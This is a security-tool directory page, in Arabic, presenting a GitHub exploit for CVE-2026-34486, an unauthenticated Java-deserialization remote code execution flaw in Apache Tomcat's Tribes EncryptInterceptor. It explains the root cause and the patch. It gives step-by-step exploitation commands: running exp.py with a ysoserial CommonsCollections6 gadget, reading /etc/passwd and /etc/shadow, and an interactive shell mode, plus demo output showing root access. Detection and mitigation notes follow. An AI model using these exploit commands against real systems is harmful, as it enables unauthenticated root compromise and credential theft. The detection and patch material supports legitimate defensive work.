Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2026-34486 — استغلال لتجاوز Apache Tomcat EncryptInterceptor المؤدي إلى تنفيذ أوامر عن بُعد غير مصادق عليه عبر إلغاء تسلسل Java على المنفذ 4000. يتضمن إعداد بيئة مختبرية، وصدفة تفاعلية، وإرشادات للكشف. | Kitploit
أدوات/GitHubGitHub/404-src/cve-2026-34486
تحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويباختبار الاختراقالتعلم والتعليمالفريق الأحمر
GitHub404-src/cve-2026-34486

CVE-2026-34486

استغلال لتجاوز Apache Tomcat EncryptInterceptor المؤدي إلى تنفيذ أوامر عن بُعد غير مصادق عليه عبر إلغاء تسلسل Java على المنفذ 4000. يتضمن إعداد بيئة مختبرية، وصدفة تفاعلية، وإرشادات للكشف.

عرض المستودع
97منذ 4 أشهرلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

CVE-2026-34486 — Apache Tomcat EncryptInterceptor RCE

Apache Tomcat وحدة اتصالات مجموعة Tribes تفشل في تجاهل الرسائل عندما يفشل فك تشفير EncryptInterceptor، مما يسمح للمهاجمين غير المصادق عليهم بتشغيل تنفيذ التعليمات البرمجية عن بُعد عبر إلغاء تسلسل Java على المنفذ 4000.

Apache Tomcat CVE CVSS Python Java Docker License


تفاصيل الثغرة الأمنية

الحقلالمعلومات
معرّف CVECVE-2026-34486
درجة CVSS7.5 (عالية)
المكوّنApache Tomcat Tribes EncryptInterceptor
الإصدارات المتأثرة9.0.0.M1 – 9.0.116 / 10.1.0-M1 – 10.1.53 / 11.0.0-M1 – 11.0.20
الإصدارات المُصحّحة9.0.117 / 10.1.54 / 11.0.21
نوع الثغرةتنفيذ تعليمات برمجية عن بُعد غير مصادق عليه عبر إلغاء التسلسل
ناقل الهجومشبكة / بدون مصادقة / تعقيد منخفض
منفذ الهجومTCP 4000 (Tribes NioReceiver)

السبب الجذري

تستخدم ميزة التجميع في Apache Tomcat إطار عمل Tribes لمزامنة بيانات الجلسة بين عُقد المجموعة، وتستمع على منفذ TCP 4000 افتراضيًا.

عند تمكين EncryptInterceptor (AES/CBC)، يوجد الخلل المنطقي التالي:

root@kitploit:~
// EncryptInterceptor.java — vulnerable version
public void messageReceived(ChannelMessage msg) {
    try {
        byte[] decrypted = decrypt(msg.getMessage().getBytes());
        // process decrypted message...
    } catch (Exception e) {
        log.error("Failed to decrypt message", e);  // only logs the error
    }
    super.messageReceived(msg);  // ← BUG: raw bytes forwarded even after decryption failure
}

كتلة catch تسجّل الخطأ فقط. وبما أن super.messageReceived(msg) تقع خارج try-catch، يتم تمرير البايتات الخام غير المشفّرة إلى XByteBuffer.deserialize() → ObjectInputStream.readObject().

يمكن للمهاجم إرسال حمولة إلغاء تسلسل مصمّمة خصيصًا لتشغيل RCE دون أي مصادقة.

سلسلة الهجوم

root@kitploit:~
Attacker  ──TCP:4000──►  NioReceiver (no auth)
                               │
                    EncryptInterceptor.messageReceived()
                      try  { AES/CBC decrypt → IllegalBlockSizeException }
                      catch{ log.severe("Failed to decrypt") }  ← only log trace
                      super.messageReceived(msg)                ← BUG: raw bytes pass through
                               │
                    GroupChannel → XByteBuffer.deserialize()
                               │
                    ObjectInputStream.readObject()              ← deserialization triggered
                               │
                    CommonsCollections6 Gadget Chain
                               │
                    Runtime.exec()  →  RCE as root  🔴

التصحيح (9.0.117)

ينقل الإصلاح super.messageReceived(msg) داخل كتلة try، بحيث يؤدي أي فشل في فك التشفير إلى تجاهل الرسالة بصمت (فشل-إغلاق).

root@kitploit:~
// EncryptInterceptor.java — patched version
public void messageReceived(ChannelMessage msg) {
    try {
        byte[] decrypted = decrypt(msg.getMessage().getBytes());
        // process...
        super.messageReceived(msg);  // ← FIXED: only reached if decryption succeeds
    } catch (Exception e) {
        log.error("Failed to decrypt message", e);  // message is discarded
    }
}

المتطلبات

  • Python 3.6+
  • Java 11+ (java و javac في PATH)
  • Docker (لنشر بيئة المختبر)
  • ysoserial-all.jar
  • apache-tomcat-9.0.116 (لمكتبة Tribes)

إعداد المختبر

سحب الصورة الضعيفة المُجهّزة مسبقًا

root@kitploit:~
docker run -d \
  --name tomcat-cve-2026-34486 \
  -p 8080:8080 \
  -p 4000:4000 \
  nowday3/cve-2026-34486:latest

# Verify
curl http://localhost:8080

تنزيل الاستغلال والاعتماديات

root@kitploit:~
# exp
git clone https://github.com/404-src/CVE-2026-34486
cd CVE-2026-34486/

# ysoserial
wget https://github.com/frohoff/ysoserial/releases/latest/download/ysoserial-all.jar

# Tomcat 9.0.116 (for Tribes library)
wget https://archive.apache.org/dist/tomcat/tomcat-9/v9.0.116/bin/apache-tomcat-9.0.116.tar.gz
tar xzf apache-tomcat-9.0.116.tar.gz
cp apache-tomcat-9.0.116/bin/tomcat-juli.jar apache-tomcat-9.0.116/lib/

الاستغلال

التحقق الأساسي من RCE

root@kitploit:~
python3 exp.py -t 127.0.0.1 -p 4000 -c "touch /tmp/pwned"

# Verify
docker exec tomcat-cve-2026-34486 ls -la /tmp/pwned

RCE مع إخراج النتائج (موصى به)

root@kitploit:~
python3 exp.py -t 127.0.0.1 -p 4000 --rce "id"
# Output: uid=0(root) gid=0(root) groups=0(root)

python3 exp.py -t 127.0.0.1 -p 4000 --rce "cat /etc/passwd"
python3 exp.py -t 127.0.0.1 -p 4000 --rce "cat /etc/shadow"

وضع الصدفة التفاعلية

root@kitploit:~
python3 exp.py -t 127.0.0.1 -p 4000 --shell

# [email protected]$ id
# [email protected]$ hostname
# [email protected]$ exit

مسارات مخصصة

root@kitploit:~
python3 exp.py -t 127.0.0.1 -p 4000 --rce "id" \
  --ysoserial ./ysoserial-all.jar \
  --tomcat-lib ./apache-tomcat-9.0.116/lib

خيارات exp.py

root@kitploit:~
-t, --target      IP الهدف (الافتراضي: 127.0.0.1)
-p, --port        منفذ Tribes (الافتراضي: 4000)
    --http-port   منفذ HTTP لاسترجاع الإخراج (الافتراضي: 8080)
-c, --command     تنفيذ أمر مباشرة (بدون ميزات الصدفة)
    --rce         تنفيذ أمر واسترجاع الإخراج عبر HTTP
    --shell       وضع الصدفة التفاعلية
-g, --gadget      سلسلة الأدوات (الافتراضي: CommonsCollections6)
    --ysoserial   مسار ملف ysoserial jar
    --tomcat-lib  مسار دليل مكتبات Tomcat

العرض التوضيحي

root@kitploit:~
$ python3 exp.py -t 127.0.0.1 -p 4000 --rce "id"

 ██████╗██╗   ██╗███████╗    ██████╗  ██████╗ ██████╗ ██████╗
██╔════╝██║   ██║██╔════╝    ╚════██╗██╔═══██╗╚════██╗██╔════╝
██║     ██║   ██║█████╗█████╗ █████╔╝██║   ██║ █████╔╝███████╗
██║     ╚██╗ ██╔╝██╔══╝╚════╝██╔═══╝ ██║▄▄ ██║██╔═══╝ ██╔══██║
╚██████╗ ╚████╔╝ ███████╗    ███████╗╚██████╔╝███████╗╚██████╔╝
                                                          34486

Apache Tomcat EncryptInterceptor Bypass → Deserialization → RCE

Target     : 127.0.0.1:4000
Gadget     : CommonsCollections6

[*] Compiling TribesClient.java ...
[+] Compiled successfully
[*] Generating CommonsCollections6 payload ...
[+] Payload: 1361 bytes
[*] Sending Tribes frame → 127.0.0.1:4000
    [tribes] frame=1496B cdBytes=1478B
[+] Frame sent!
[*] Fetching result: http://127.0.0.1:8080/.out.txt

    uid=0(root) gid=0(root) groups=0(root)

الكشف ومؤشرات الاختراق

الأثر الوحيد في السجلات الذي يتركه الهجوم:

root@kitploit:~
SEVERE [Tribes-Task-Receiver[Catalina-Channel]-1]
org.apache.catalina.tribes.group.interceptors.EncryptInterceptor.messageReceived
Failed to decrypt message
  javax.crypto.IllegalBlockSizeException: Input length must be multiple of 16
  when decrypting with padded cipher

لا يتم تسجيل أي استثناء readObject — يتم تنفيذ الأمر بصمت.

التخفيف

الإجراءالأولوية
الترقية إلى Tomcat 9.0.117 / 10.1.54 / 11.0.21حرجة
تقييد المنفذ 4000 على عناوين IP الموثوقة للمجموعة فقطعالية
مراقبة السجلات بحثًا عن تكرار رسائل Failed to decrypt messageمتوسطة
تعطيل تجميع Tribes إذا لم يكن مطلوبًاعالية


المراجع

  • Apache Tomcat Security Advisories
  • Apache Tribes Documentation
  • ysoserial — frohoff
  • Java Deserialization Cheatsheet

إخلاء المسؤولية

هذا المشروع مخصص لأغراض البحث الأمني المصرّح به واختبار الاختراق والتعليم فقط. لا تستخدم هذه الأداة ضد أنظمة لا تملكها أو ليس لديك إذن صريح لاختبارها. لا يتحمل المؤلف أي مسؤولية عن أي إساءة استخدام أو ضرر ناتج عن هذه الأداة.


الترخيص

MIT License © 2026 404-src

تنزيل الأداة